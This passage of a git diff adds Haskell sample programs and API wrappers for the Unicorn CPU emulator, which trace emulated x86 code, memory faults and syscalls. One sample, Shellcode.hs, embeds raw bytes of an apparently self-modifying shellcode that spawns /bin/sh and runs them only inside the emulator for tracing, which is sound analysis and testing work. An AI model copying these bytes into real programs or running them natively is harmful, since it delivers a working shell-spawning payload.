ArchX86 [Mode32] + + -- Map 2MB memory for this emulation + memMap uc address (2 * 1024 * 1024) [ProtAll] + + -- Write machine code to be emulated to memory + memWrite uc address x86Code32 + + -- Initialize machine registers + regWrite uc X86.Ecx 0x1234 + regWrite uc X86.Edx 0x7890 + + -- Tracing all basic blocks with customized callback + blockHookAdd uc hookBlock () 1 0 + + -- Tracing all instruction by having @begin > @end + codeHookAdd uc hookCode () 1 0 + + -- Emulate machine code in infinite time + let codeLen = codeLength x86Code32 + start uc address (address + codeLen) Nothing Nothing + + -- Now print out some registers + emuPutStrLn ">>> Emulation done. Below is the CPU context" + + ecx <- regRead uc X86.Ecx + edx <- regRead uc X86.Edx + emuPutStrLn $ ">>> ECX = 0x" ++ showHex ecx + emuPutStrLn $ ">>> EDX = 0x" ++ showHex edx + + -- Read from memory + tmp <- memRead uc address 4 + emuPutStrLn $ ">>> Read 4 bytes from [0x" ++ showHex address ++ + "] = 0x" ++ showHexBS tmp + case result of + Right _ -> return () + Left err -> putStrLn $ "Failed with error " ++ show err ++ ": " ++ + strerror err + +testI386Jump :: IO () +testI386Jump = do + putStrLn "===================================" + putStrLn "Emulate i386 code with jump" + + result <- runEmulator $ do + -- Initialize emulator in X86-32bit mode + uc <- open ArchX86 [Mode32] + + -- Map 2MB memory for this emulation + memMap uc address (2 * 1024 * 1024) [ProtAll] + + -- Write machine code to be emulated to memory + memWrite uc address x86Code32Jump + + -- Tracing 1 basic block with customized callback + blockHookAdd uc hookBlock () address address + + -- Tracing 1 instruction at address + codeHookAdd uc hookCode () address address + + -- Emulate machine code ininfinite time + let codeLen = codeLength x86Code32Jump + start uc address (address + codeLen) Nothing Nothing + + emuPutStrLn ">>> Emulation done. Below is the CPU context" + case result of + Right _ -> return () + Left err -> putStrLn $ "Failed with error " ++ show err ++ ": " ++ + strerror err + +-- Emulate code that loop forever +testI386Loop :: IO () +testI386Loop = do + putStrLn "===================================" + putStrLn "Emulate i386 code that loop forever" + + result <- runEmulator $ do + -- Initialize emulator in X86-32bit mode + uc <- open ArchX86 [Mode32] + + -- Map 2MB memory for this emulation + memMap uc address (2 * 1024 * 1024) [ProtAll] + + -- Write machine code to be emulated in memory + memWrite uc address x86Code32Loop + + -- Initialize machine registers + regWrite uc X86.Ecx 0x1234 + regWrite uc X86.Edx 0x7890 + + -- Emulate machine code in 2 seconds, so we can quit even if the code + -- loops + let codeLen = codeLength x86Code32Loop + start uc address (address + codeLen) (Just $ 2 * 1000000) Nothing + + -- Now print out some registers + emuPutStrLn ">>> Emulation done. Below is the CPU context" + + ecx <- regRead uc X86.Ecx + edx <- regRead uc X86.Edx + + emuPutStrLn $ ">>> ECX = 0x" ++ showHex ecx + emuPutStrLn $ ">>> EDX = 0x" ++ showHex edx + case result of + Right _ -> return () + Left err -> putStrLn $ "Failed with error " ++ show err ++ ": " ++ + strerror err + +-- Emulate code that read invalid memory +testI386InvalidMemRead :: IO () +testI386InvalidMemRead = do + putStrLn "===================================" + putStrLn "Emulate i386 code that read from invalid memory" + + result <- runEmulator $ do + -- Initialize emulator in X86-32bit mode + uc <- open ArchX86 [Mode32] + + -- Map 2MB memory for this emulation + memMap uc address (2 * 1024 * 1024) [ProtAll] + + -- Write machine code to be emulated to memory + memWrite uc address x86Code32MemRead + + -- Initialize machine registers + regWrite uc X86.Ecx 0x1234 + regWrite uc X86.Edx 0x7890 + + -- Tracing all basic block with customized callback + blockHookAdd uc hookBlock () 1 0 + + -- Tracing all instructions by having @beegin > @end + codeHookAdd uc hookCode () 1 0 + + -- Emulate machine code in infinite time + let codeLen = codeLength x86Code32MemRead + start uc address (address + codeLen) Nothing Nothing + + -- Now print out some registers + emuPutStrLn ">>> Emulation done. Below is the CPU context" + + ecx <- regRead uc X86.Ecx + edx <- regRead uc X86.Edx + + emuPutStrLn $ ">>> ECX = 0x" ++ showHex ecx + emuPutStrLn $ ">>> EDX = 0x" ++ showHex edx + case result of + Right _ -> return () + Left err -> putStrLn $ "Failed with error " ++ show err ++ ": " ++ + strerror err + +-- Emulate code that write invalid memory +testI386InvalidMemWrite :: IO () +testI386InvalidMemWrite = do + putStrLn "===================================" + putStrLn "Emulate i386 code that write to invalid memory" + + result <- runEmulator $ do + -- Initialize emulator in X86-32bit mode + uc <- open ArchX86 [Mode32] + + -- Map 2MB memory for this emulation + memMap uc address (2 * 1024 * 1024) [ProtAll] + + -- Write machine code to be emulated to memory + memWrite uc address x86Code32MemWrite + + -- Initialize machine registers + regWrite uc X86.Ecx 0x1234 + regWrite uc X86.Edx 0x7890 + + -- Tracing all basic blocks with customized callback + blockHookAdd uc hookBlock () 1 0 + + -- Tracing all instruction by having @begin > @end + codeHookAdd uc hookCode () 1 0 + + -- Intercept invalid memory events + memoryEventHookAdd uc HookMemReadUnmapped hookMemInvalid () 1 0 + memoryEventHookAdd uc HookMemWriteUnmapped hookMemInvalid () 1 0 + + -- Emulate machine code in infinite time + let codeLen = codeLength x86Code32MemWrite + start uc address (address + codeLen) Nothing Nothing + + -- Now print out some registers + emuPutStrLn ">>> Emulation done. Below is the CPU context" + + ecx <- regRead uc X86.Ecx + edx <- regRead uc X86.Edx + emuPutStrLn $ ">>> ECX = 0x" ++ showHex ecx + emuPutStrLn $ ">>> EDX = 0x" ++ showHex edx + + -- Read from memory + tmp <- memRead uc 0xaaaaaaaa 4 + emuPutStrLn $ ">>> Read 4 bytes from [0x" ++ showHex 0xaaaaaaaa ++ + "] = 0x" ++ showHexBS tmp + + tmp <- memRead uc 0xffffffaa 4 + emuPutStrLn $ ">>> Read 4 bytes from [0x" ++ showHex 0xffffffaa ++ + "] = 0x" ++ showHexBS tmp + case result of + Right _ -> return () + Left err -> putStrLn $ "Failed with error " ++ show err ++ ": " ++ + strerror err + +-- Emulate code that jump to invalid memory +testI386JumpInvalid :: IO () +testI386JumpInvalid = do + putStrLn "===================================" + putStrLn "Emulate i386 code that jumps to invalid memory" + + result <- runEmulator $ do + -- Initialize emulator in X86-32bit mode + uc <- open ArchX86 [Mode32] + + -- Map 2MB memory for this emulation + memMap uc address (2 * 1024 * 1024) [ProtAll] + + -- Write machine code to be emulated to memory + memWrite uc address x86Code32JmpInvalid + + -- Initialize machine registers + regWrite uc X86.Ecx 0x1234 + regWrite uc X86.Edx 0x7890 + + -- Tracing all basic blocks with customized callback + blockHookAdd uc hookBlock () 1 0 + + -- Tracing all instructions by having @begin > @end + codeHookAdd uc hookCode () 1 0 + + -- Emulate machine code in infinite time + let codeLen = codeLength x86Code32JmpInvalid + start uc address (address + codeLen) Nothing Nothing + + -- Now print out some registers + emuPutStrLn ">>> Emulation done. Below is the CPU context" + + ecx <- regRead uc X86.Ecx + edx <- regRead uc X86.Edx + + emuPutStrLn $ ">>> ECX = 0x" ++ showHex ecx + emuPutStrLn $ ">>> EDX = 0x" ++ showHex edx + case result of + Right _ -> return () + Left err -> putStrLn $ "Failed with error " ++ show err ++ ": " ++ + strerror err + +testI386InOut :: IO () +testI386InOut = do + putStrLn "===================================" + putStrLn "Emulate i386 code with IN/OUT instructions" + + result <- runEmulator $ do + -- Initialize emulator in X86-32bit mode + uc <- open ArchX86 [Mode32] + + -- Map 2MB memory for this emulation + memMap uc address (2 * 1024 * 1024) [ProtAll] + + -- Write machine code to be emulated to memory + memWrite uc address x86Code32InOut + + -- Initialize machine registers + regWrite uc X86.Eax 0x1234 + regWrite uc X86.Ecx 0x6789 + + -- Tracing all basic blocks with customized callback + blockHookAdd uc hookBlock () 1 0 + + -- Tracing all instructions + codeHookAdd uc hookCode () 1 0 + + -- uc IN instruction + inHookAdd uc hookIn () 1 0 + + -- uc OUT instruction + outHookAdd uc hookOut () 1 0 + + -- Emulate machine code in infinite time + let codeLen = codeLength x86Code32InOut + start uc address (address + codeLen) Nothing Nothing + + -- Now print out some registers + emuPutStrLn ">>> Emulation done. Below is the CPU context" + + eax <- regRead uc X86.Eax + ecx <- regRead uc X86.Ecx + + emuPutStrLn $ ">>> EAX = 0x" ++ showHex eax + emuPutStrLn $ ">>> ECX = 0x" ++ showHex ecx + case result of + Right _ -> return () + Left err -> putStrLn $ "Failed with error " ++ show err ++ ": " ++ + strerror err + +-- Emulate code and save/restore the CPU context +testI386ContextSave :: IO () +testI386ContextSave = do + putStrLn "===================================" + putStrLn "Save/restore CPU context in opaque blob" + + result <- runEmulator $ do + -- Initialize emulator in X86-32bit mode + uc <- open ArchX86 [Mode32] + + -- Map 8KB memory for this emulation + memMap uc address (8 * 1024) [ProtAll] + + -- Write machine code to be emulated to memory + memWrite uc address x86Code32Inc + + -- Initialize machine registers + regWrite uc X86.Eax 0x1 + + -- Emulate machine code in infinite time + emuPutStrLn ">>> Running emulation for the first time" + + let codeLen = codeLength x86Code32Inc + start uc address (address + codeLen) Nothing Nothing + + -- Now print out some registers + emuPutStrLn ">>> Emulation done. Below is the CPU context" + + eax <- regRead uc X86.Eax + + emuPutStrLn $ ">>> EAX = 0x" ++ showHex eax + + -- Allocate and save the CPU context + emuPutStrLn ">>> Saving CPU context" + + context <- contextAllocate uc + contextSave uc context + + -- Emulate machine code again + emuPutStrLn ">>> Running emulation for the second time" + + start uc address (address + codeLen) Nothing Nothing + + -- Now print out some registers + emuPutStrLn ">>> Emulation done. Below is the CPU context" + + eax <- regRead uc X86.Eax + + emuPutStrLn $ ">>> EAX = 0x" ++ showHex eax + + -- Restore CPU context + contextRestore uc context + + -- Now print out some registers + emuPutStrLn ">>> Emulation done. Below is the CPU context" + + eax <- regRead uc X86.Eax + + emuPutStrLn $ ">>> EAX = 0x" ++ showHex eax + case result of + Right _ -> return () + Left err -> putStrLn $ "Failed with error " ++ show err ++ ": " ++ + strerror err + +testX8664 :: IO () +testX8664 = do + putStrLn "Emulate x86_64 code" + + result <- runEmulator $ do + -- Initialize emualator in X86-64bit mode + uc <- open ArchX86 [Mode64] + + -- Map 2MB memory for this emulation + memMap uc address (2 * 1024 * 1024) [ProtAll] + + -- Write machine code to be emulated to memory + memWrite uc address x86Code64 + + -- Initialize machine registers + regWrite uc X86.Rsp (fromIntegral address + 0x200000) + + regWrite uc X86.Rax 0x71f3029efd49d41d + regWrite uc X86.Rbx 0xd87b45277f133ddb + regWrite uc X86.Rcx 0xab40d1ffd8afc461 + regWrite uc X86.Rdx 0x919317b4a733f01 + regWrite uc X86.Rsi 0x4c24e753a17ea358 + regWrite uc X86.Rdi 0xe509a57d2571ce96 + regWrite uc X86.R8 0xea5b108cc2b9ab1f + regWrite uc X86.R9 0x19ec097c8eb618c1 + regWrite uc X86.R10 0xec45774f00c5f682 + regWrite uc X86.R11 0xe17e9dbec8c074aa + regWrite uc X86.R12 0x80f86a8dc0f6d457 + regWrite uc X86.R13 0x48288ca5671c5492 + regWrite uc X86.R14 0x595f72f6e4017f6e + regWrite uc X86.R15 0x1efd97aea331cccc + + -- Tracing all basic blocks with customized callback + blockHookAdd uc hookBlock () 1 0 + + -- Tracing all instructions in the range [address, address+20] + codeHookAdd uc hookCode64 () address (address + 20) + + -- Tracing all memory WRITE access (with @begin > @end) + memoryHookAdd uc HookMemWrite hookMem64 () 1 0 + + -- Tracing all memory READ access (with @begin > @end) + memoryHookAdd uc HookMemRead hookMem64 () 1 0 + + -- Emulate machine code in infinite time (last param = Nothing), or + -- when finishing all the code + let codeLen = codeLength x86Code64 + start uc address (address + codeLen) Nothing Nothing + + -- Now print out some registers + emuPutStrLn ">>> Emulation done. Below is the CPU context" + + rax <- regRead uc X86.Rax + rbx <- regRead uc X86.Rbx + rcx <- regRead uc X86.Rcx + rdx <- regRead uc X86.Rdx + rsi <- regRead uc X86.Rsi + rdi <- regRead uc X86.Rdi + r8 <- regRead uc X86.R8 + r9 <- regRead uc X86.R9 + r10 <- regRead uc X86.R10 + r11 <- regRead uc X86.R11 + r12 <- regRead uc X86.R12 + r13 <- regRead uc X86.R13 + r14 <- regRead uc X86.R14 + r15 <- regRead uc X86.R15 + + emuPutStrLn $ ">>> RAX = 0x" ++ showHex rax + emuPutStrLn $ ">>> RBX = 0x" ++ showHex rbx + emuPutStrLn $ ">>> RCX = 0x" ++ showHex rcx + emuPutStrLn $ ">>> RDX = 0x" ++ showHex rdx + emuPutStrLn $ ">>> RSI = 0x" ++ showHex rsi + emuPutStrLn $ ">>> RDI = 0x" ++ showHex rdi + emuPutStrLn $ ">>> R8 = 0x" ++ showHex r8 + emuPutStrLn $ ">>> R9 = 0x" ++ showHex r9 + emuPutStrLn $ ">>> R10 = 0x" ++ showHex r10 + emuPutStrLn $ ">>> R11 = 0x" ++ showHex r11 + emuPutStrLn $ ">>> R12 = 0x" ++ showHex r12 + emuPutStrLn $ ">>> R13 = 0x" ++ showHex r13 + emuPutStrLn $ ">>> R14 = 0x" ++ showHex r14 + emuPutStrLn $ ">>> R15 = 0x" ++ showHex r15 + case result of + Right _ -> return () + Left err -> putStrLn $ "Failed with error " ++ show err ++ ": " ++ + strerror err + +testX8664Syscall :: IO () +testX8664Syscall = do + putStrLn "===================================" + putStrLn "Emulate x86_64 code with 'syscall' instruction" + + result <- runEmulator $ do + -- Initialize emulator in X86-64bit mode + uc <- open ArchX86 [Mode64] + + -- Map 2MB memory for this emulation + memMap uc address (2 * 1024 * 1024) [ProtAll] + + -- Write machine code to be emulated to memory + memWrite uc address x86Code64Syscall + + -- Hook interrupts for syscall + syscallHookAdd uc hookSyscall () 1 0 + + -- Initialize machine registers + regWrite uc X86.Rax 0x100 + + -- Emulate machine code in infinite time (last param = Nothing), or + -- when finishing all code + let codeLen = codeLength x86Code64Syscall + start uc address (address + codeLen) Nothing Nothing + + -- Now print out some registers + emuPutStrLn ">>> Emulation done. Below is the CPU context" + + rax <- regRead uc X86.Rax + emuPutStrLn $ ">>> RAX = 0x" ++ showHex rax + case result of + Right _ -> return () + Left err -> putStrLn $ "Failed with error " ++ show err ++ ": " ++ + strerror err + +testX8616 :: IO () +testX8616 = do + putStrLn "Emulate x86 16-bit code" + + result <- runEmulator $ do + -- Initialize emulator in X86-16bit mode + uc <- open ArchX86 [Mode16] + + -- Map 8KB memory for this emulation + memMap uc 0 (8 * 1024) [ProtAll] + + -- Write machine code to be emulated in memory + memWrite uc 0 x86Code16 + + -- Initialize machine registers + regWrite uc X86.Eax 7 + regWrite uc X86.Ebx 5 + regWrite uc X86.Esi 6 + + -- Emulate machine code in infinite time (last param = Nothing), or + -- when finishing all the code + let codeLen = codeLength x86Code16 + start uc 0 codeLen Nothing Nothing + + -- Now print out some registers + emuPutStrLn ">>> Emulation done. Below is the CPU context" + + -- Read from memory + tmp <- memRead uc 11 1 + emuPutStrLn $ ">>> Read 1 bytes from [0x" ++ showHex 11 ++ + "] = 0x" ++ showHexBS tmp + case result of + Right _ -> return () + Left err -> putStrLn $ "Failed with error " ++ show err ++ ": " ++ + strerror err + +main :: IO () +main = do + progName <- getProgName + args <- getArgs + case args of + ["-32"] -> do + testI386 + testI386InOut + testI386ContextSave + testI386Jump + testI386Loop + testI386InvalidMemRead + testI386InvalidMemWrite + testI386JumpInvalid + ["-64"] -> do + testX8664 + testX8664Syscall + ["-16"] -> testX8616 + -- Test memleak + ["-0"] -> testI386 + _ -> putStrLn $ "Syntax: " ++ progName ++ " <-16|-32|-64>" + diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/samples/Shellcode.hs b/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/samples/Shellcode.hs new file mode 100644 index 0000000..65ad979 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/samples/Shellcode.hs @@ -0,0 +1,153 @@ +-- Sample code to trace code with Linux code with syscall + +import Unicorn +import Unicorn.Hook +import qualified Unicorn.CPU.X86 as X86 + +import Control.Monad.Trans.Class (lift) +import qualified Data.ByteString as BS +import Data.Word +import qualified Numeric as N (showHex) +import System.Environment + +-- Code to be emulated +x86Code32 :: BS.ByteString +x86Code32 = BS.pack [0xeb, 0x19, 0x31, 0xc0, 0x31, 0xdb, 0x31, 0xd2, 0x31, + 0xc9, 0xb0, 0x04, 0xb3, 0x01, 0x59, 0xb2, 0x05, 0xcd, + 0x80, 0x31, 0xc0, 0xb0, 0x01, 0x31, 0xdb, 0xcd, 0x80, + 0xe8, 0xe2, 0xff, 0xff, 0xff, 0x68, 0x65, 0x6c, 0x6c, + 0x6f] + +x86Code32Self :: BS.ByteString +x86Code32Self = BS.pack [0xeb, 0x1c, 0x5a, 0x89, 0xd6, 0x8b, 0x02, 0x66, 0x3d, + 0xca, 0x7d, 0x75, 0x06, 0x66, 0x05, 0x03, 0x03, 0x89, + 0x02, 0xfe, 0xc2, 0x3d, 0x41, 0x41, 0x41, 0x41, 0x75, + 0xe9, 0xff, 0xe6, 0xe8, 0xdf, 0xff, 0xff, 0xff, 0x31, + 0xd2, 0x6a, 0x0b, 0x58, 0x99, 0x52, 0x68, 0x2f, 0x2f, + 0x73, 0x68, 0x68, 0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, + 0x52, 0x53, 0x89, 0xe1, 0xca, 0x7d, 0x41, 0x41, 0x41, + 0x41, 0x41, 0x41, 0x41, 0x41] + +-- Memory address where emulation starts +address :: Word64 +address = 0x1000000 + +-- Pretty-print integral as hex +showHex :: (Integral a, Show a) => a -> String +showHex = + flip N.showHex "" + +-- Pretty-print byte string as hex +showHexBS :: BS.ByteString -> String +showHexBS = + concatMap (flip N.showHex " ") . BS.unpack + +-- Write a string (with a newline character) to standard output in the emulator +emuPutStrLn :: String -> Emulator () +emuPutStrLn = + lift . putStrLn + +-- Calculate code length +codeLength :: Num a => BS.ByteString -> a +codeLength = + fromIntegral . BS.length + +-- Callback for tracing instructions +hookCode :: CodeHook () +hookCode uc addr size _ = do + runEmulator $ do + emuPutStrLn $ "Tracing instruction at 0x" ++ showHex addr ++ + ", instruction size = 0x" ++ (maybe "0" showHex size) + + eip <- regRead uc X86.Eip + tmp <- memRead uc addr (maybe 0 id size) + + emuPutStrLn $ "*** EIP = " ++ showHex eip ++ " ***: " ++ showHexBS tmp + return () + +-- Callback for handling interrupts +-- ref: http://syscalls.kernelgrok.com +hookIntr :: InterruptHook () +hookIntr uc intno _ + | intno == 0x80 = do + runEmulator $ do + eax <- regRead uc X86.Eax + eip <- regRead uc X86.Eip + + case eax of + -- sys_exit + 1 -> do + emuPutStrLn $ ">>> 0x" ++ showHex eip ++ + ": interrupt 0x" ++ showHex intno ++ + ", SYS_EXIT. quit!\n" + stop uc + -- sys_write + 4 -> do + -- ECX = buffer address + ecx <- regRead uc X86.Ecx + + -- EDX = buffer size + edx <- regRead uc X86.Edx + + -- Read the buffer in + buffer <- memRead uc (fromIntegral ecx) (fromIntegral edx) + err <- errno uc + if err == ErrOk then + emuPutStrLn $ ">>> 0x" ++ showHex eip ++ + ": interrupt 0x" ++ showHex intno ++ + ", SYS_WRITE. buffer = 0x" ++ + showHex ecx ++ ", size = " ++ + show edx ++ ", content = " ++ + showHexBS buffer + else + emuPutStrLn $ ">>> 0x" ++ showHex eip ++ + ": interrupt 0x" ++ showHex intno ++ + ", SYS_WRITE. buffer = 0x" ++ + showHex ecx ++ ", size = " ++ show edx ++ + " (cannot get content)" + _ -> emuPutStrLn $ ">>> 0x" ++ showHex eip ++ + ": interrupt 0x" ++ showHex intno ++ + ", EAX = 0x" ++ showHex eax + return () + | otherwise = return () + +testI386 :: IO () +testI386 = do + result <- runEmulator $ do + emuPutStrLn "Emulate i386 code" + + -- Initialize emulator in X86-32bit mode + uc <- open ArchX86 [Mode32] + + -- Map 2MB memory for this emulation + memMap uc address (2 * 1024 * 1024) [ProtAll] + + -- Write machine code to be emulated to memory + memWrite uc address x86Code32Self + + -- Initialize machine registers + regWrite uc X86.Esp (fromIntegral address + 0x200000) + + -- Tracing all instructions by having @begin > @end + codeHookAdd uc hookCode () 1 0 + + -- Handle interrupt ourself + interruptHookAdd uc hookIntr () 1 0 + + emuPutStrLn "\n>>> Start tracing this Linux code" + + -- Emulate machine code in infinite time + let codeLen = codeLength x86Code32Self + start uc address (address + codeLen) Nothing Nothing + case result of + Right _ -> putStrLn "\n>>> Emulation done." + Left err -> putStrLn $ "Failed with error " ++ show err ++ ": " ++ + strerror err + +main :: IO () +main = do + progName <- getProgName + args <- getArgs + case args of + ["-32"] -> testI386 + _ -> putStrLn $ "Syntax: " ++ progName ++ " <-32|-64>" diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/src/Unicorn.hs b/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/src/Unicorn.hs new file mode 100644 index 0000000..7ea638e --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/src/Unicorn.hs @@ -0,0 +1,360 @@ +{-| +Module : Unicorn +Description : The Unicorn CPU emulator. +Copyright : (c) Adrian Herrera, 2016 +License : GPL-2 + +Unicorn is a lightweight, multi-platform, multi-architecture CPU emulator +framework based on QEMU. + +Further information is available at . +-} +module Unicorn + ( -- * Emulator control + Emulator + , Engine + , Architecture(..) + , Mode(..) + , QueryType(..) + , runEmulator + , open + , query + , start + , stop + + -- * Register operations + , regWrite + , regRead + , regWriteBatch + , regReadBatch + + -- * Memory operations + , MemoryPermission(..) + , MemoryRegion(..) + , memWrite + , memRead + , memMap + , memUnmap + , memProtect + , memRegions + + -- * Context operations + , Context + , contextAllocate + , contextSave + , contextRestore + + -- * Error handling + , Error(..) + , errno + , strerror + + -- * Misc. + , version + ) where + +import Control.Monad (join, liftM) +import Control.Monad.Trans.Class (lift) +import Control.Monad.Trans.Except (throwE, runExceptT) +import Data.ByteString (ByteString, pack) +import Foreign +import Prelude hiding (until) + +import Unicorn.Internal.Core +import Unicorn.Internal.Unicorn + +------------------------------------------------------------------------------- +-- Emulator control +------------------------------------------------------------------------------- + +-- | Run the Unicorn emulator and return a result on success, or an 'Error' on +-- failure. +runEmulator :: Emulator a -- ^ The emulation code to execute + -> IO (Either Error a) -- ^ A result on success, or an 'Error' on + -- failure +runEmulator = + runExceptT + +-- | Create a new instance of the Unicorn engine. +open :: Architecture -- ^ CPU architecture + -> [Mode] -- ^ CPU hardware mode + -> Emulator Engine -- ^ A 'Unicorn' engine on success, or an 'Error' on + -- failure +open arch mode = do + (err, ucPtr) <- lift $ ucOpen arch mode + if err == ErrOk then + -- Return a pointer to the Unicorn engine if ucOpen completed + -- successfully + lift $ mkEngine ucPtr + else + -- Otherwise return the error + throwE err + +-- | Query internal status of the Unicorn engine. +query :: Engine -- ^ 'Unicorn' engine handle + -> QueryType -- ^ Query type + -> Emulator Int -- ^ The result of the query +query uc queryType = do + (err, result) <- lift $ ucQuery uc queryType + if err == ErrOk then + pure result + else + throwE err + +-- | Emulate machine code for a specific duration of time. +start :: Engine -- ^ 'Unicorn' engine handle + -> Word64 -- ^ Address where emulation starts + -> Word64 -- ^ Address where emulation stops (i.e. when this + -- address is hit) + -> Maybe Int -- ^ Optional duration to emulate code (in + -- microseconds). + -- If 'Nothing' is provided, continue to emulate + -- until the code is finished + -> Maybe Int -- ^ Optional number of instructions to emulate. If + -- 'Nothing' is provided, emulate all the code + -- available, until the code is finished + -> Emulator () -- ^ An 'Error' on failure +start uc begin until timeout count = do + err <- lift $ ucEmuStart uc begin until (maybeZ timeout) (maybeZ count) + if err == ErrOk then + pure () + else + throwE err + where maybeZ = maybe 0 id + +-- | Stop emulation (which was started by 'start'). +-- This is typically called from callback functions registered by tracing APIs. +-- +-- NOTE: For now, this will stop execution only after the current block. +stop :: Engine -- ^ 'Unicorn' engine handle + -> Emulator () -- ^ An 'Error' on failure +stop uc = do + err <- lift $ ucEmuStop uc + if err == ErrOk then + pure () + else + throwE err + +------------------------------------------------------------------------------- +-- Register operations +------------------------------------------------------------------------------- + +-- | Write to register. +regWrite :: Reg r + => Engine -- ^ 'Unicorn' engine handle + -> r -- ^ Register to write to + -> Int64 -- ^ Value to write to register + -> Emulator () -- ^ An 'Error' on failure +regWrite uc reg value = do + err <- lift $ ucRegWrite uc reg value + if err == ErrOk then + pure () + else + throwE err + +-- | Read register value. +regRead :: Reg r + => Engine -- ^ 'Unicorn' engine handle + -> r -- ^ Register to read from + -> Emulator Int64 -- ^ The value read from the register on success, + -- or an 'Error' on failure +regRead uc reg = do + (err, val) <- lift $ ucRegRead uc reg + if err == ErrOk then + pure val + else + throwE err + +-- | Write multiple register values. +regWriteBatch :: Reg r + => Engine -- ^ 'Unicorn' engine handle + -> [r] -- ^ List of registers to write to + -> [Int64] -- ^ List of values to write to the registers + -> Emulator () -- ^ An 'Error' on failure +regWriteBatch uc regs vals = do + err <- lift $ ucRegWriteBatch uc regs vals (length regs) + if err == ErrOk then + pure () + else + throwE err + +-- | Read multiple register values. +regReadBatch :: Reg r + => Engine -- ^ 'Unicorn' engine handle + -> [r] -- ^ List of registers to read from + -> Emulator [Int64] -- ^ A list of register values on success, + -- or an 'Error' on failure +regReadBatch uc regs = do + -- Allocate an array of the given size + let size = length regs + join . lift . allocaArray size $ \array -> do + err <- ucRegReadBatch uc regs array size + if err == ErrOk then + -- If ucRegReadBatch completed successfully, pack the contents of + -- the array into a list and return it + liftM pure (peekArray size array) + else + -- Otherwise return the error + return $ throwE err + +------------------------------------------------------------------------------- +-- Memory operations +------------------------------------------------------------------------------- + +-- | Write to memory. +memWrite :: Engine -- ^ 'Unicorn' engine handle + -> Word64 -- ^ Starting memory address of bytes to write + -> ByteString -- ^ The data to write + -> Emulator () -- ^ An 'Error' on failure +memWrite uc address bytes = do + err <- lift $ ucMemWrite uc address bytes + if err == ErrOk then + pure () + else + throwE err + +-- | Read memory contents. +memRead :: Engine -- ^ 'Unicorn' engine handle + -> Word64 -- ^ Starting memory address to read + -- from + -> Int -- ^ Size of memory to read (in bytes) + -> Emulator ByteString -- ^ The memory contents on success, or + -- an 'Error' on failure +memRead uc address size = do + -- Allocate an array of the given size + join . lift . allocaArray size $ \array -> do + err <- ucMemRead uc address array size + if err == ErrOk then + -- If ucMemRead completed successfully, pack the contents of the + -- array into a ByteString and return it + liftM (pure . pack) (peekArray size array) + else + -- Otherwise return the error + return $ throwE err + +-- | Map a range of memory. +memMap :: Engine -- ^ 'Unicorn' engine handle + -> Word64 -- ^ Start address of the new memory region to + -- be mapped in. This address must be + -- aligned to 4KB, or this will return with + -- 'ErrArg' error + -> Int -- ^ Size of the new memory region to be mapped + -- in. This size must be a multiple of 4KB, or + -- this will return with an 'ErrArg' error + -> [MemoryPermission] -- ^ Permissions for the newly mapped region + -> Emulator () -- ^ An 'Error' on failure +memMap uc address size perms = do + err <- lift $ ucMemMap uc address size perms + if err == ErrOk then + pure () + else + throwE err + +-- | Unmap a range of memory. +memUnmap :: Engine -- ^ 'Unicorn' engine handle + -> Word64 -- ^ Start addres of the memory region to be unmapped. + -- This address must be aligned to 4KB or this will + -- return with an 'ErrArg' error + -> Int -- ^ Size of the memory region to be modified. This + -- must be a multiple of 4KB, or this will return with + -- an 'ErrArg' error + -> Emulator () -- ^ An 'Error' on failure +memUnmap uc address size = do + err <- lift $ ucMemUnmap uc address size + if err == ErrOk then + pure () + else + throwE err + +-- | Change permissions on a range of memory. +memProtect :: Engine -- ^ 'Unicorn' engine handle + -> Word64 -- ^ Start address of the memory region to + -- modify. This address must be aligned to + -- 4KB, or this will return with an + -- 'ErrArg' error + -> Int -- ^ Size of the memory region to be + -- modified. This size must be a multiple + -- of 4KB, or this will return with an + -- 'ErrArg' error + -> [MemoryPermission] -- ^ New permissions for the mapped region + -> Emulator () -- ^ An 'Error' on failure +memProtect uc address size perms = do + err <- lift $ ucMemProtect uc address size perms + if err == ErrOk then + pure () + else + throwE err + +-- | Retrieve all memory regions mapped by 'memMap'. +memRegions :: Engine -- ^ 'Unicorn' engine handle + -> Emulator [MemoryRegion] -- ^ A list of memory regions +memRegions uc = do + (err, regionPtr, count) <- lift $ ucMemRegions uc + if err == ErrOk then do + regions <- lift $ peekArray count regionPtr + pure regions + else + throwE err + +------------------------------------------------------------------------------- +-- Context operations +------------------------------------------------------------------------------- + +-- | Allocate a region that can be used to perform quick save/rollback of the +-- CPU context, which includes registers and some internal metadata. Contexts +-- may not be shared across engine instances with differing architectures or +-- modes. +contextAllocate :: Engine -- ^ 'Unicon' engine handle + -> Emulator Context -- ^ A CPU context +contextAllocate uc = do + (err, contextPtr) <- lift $ ucContextAlloc uc + if err == ErrOk then + -- Return a CPU context if ucContextAlloc completed successfully + lift $ mkContext contextPtr + else + throwE err + +-- | Save a copy of the internal CPU context. +contextSave :: Engine -- ^ 'Unicorn' engine handle + -> Context -- ^ A CPU context + -> Emulator () -- ^ An error on failure +contextSave uc context = do + err <- lift $ ucContextSave uc context + if err == ErrOk then + pure () + else + throwE err + +-- | Restore the current CPU context from a saved copy. +contextRestore :: Engine -- ^ 'Unicorn' engine handle + -> Context -- ^ A CPU context + -> Emulator () -- ^ An error on failure +contextRestore uc context = do + err <- lift $ ucContextRestore uc context + if err == ErrOk then + pure () + else + throwE err + +------------------------------------------------------------------------------- +-- Misc. +------------------------------------------------------------------------------- + +-- | Combined API version & major and minor version numbers. Returns a +-- hexadecimal number as (major << 8 | minor), which encodes both major and +-- minor versions. +version :: Int +version = + ucVersion nullPtr nullPtr + +-- | Report the 'Error' of the last failed API call. +errno :: Engine -- ^ 'Unicorn' engine handle + -> Emulator Error -- ^ The last 'Error' code +errno = + lift . ucErrno + +-- | Return a string describing the given 'Error'. +strerror :: Error -- ^ The 'Error' code + -> String -- ^ Description of the error code +strerror = + ucStrerror diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/src/Unicorn/CPU/Arm.chs b/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/src/Unicorn/CPU/Arm.chs new file mode 100644 index 0000000..138bf17 --- /dev/null +++ 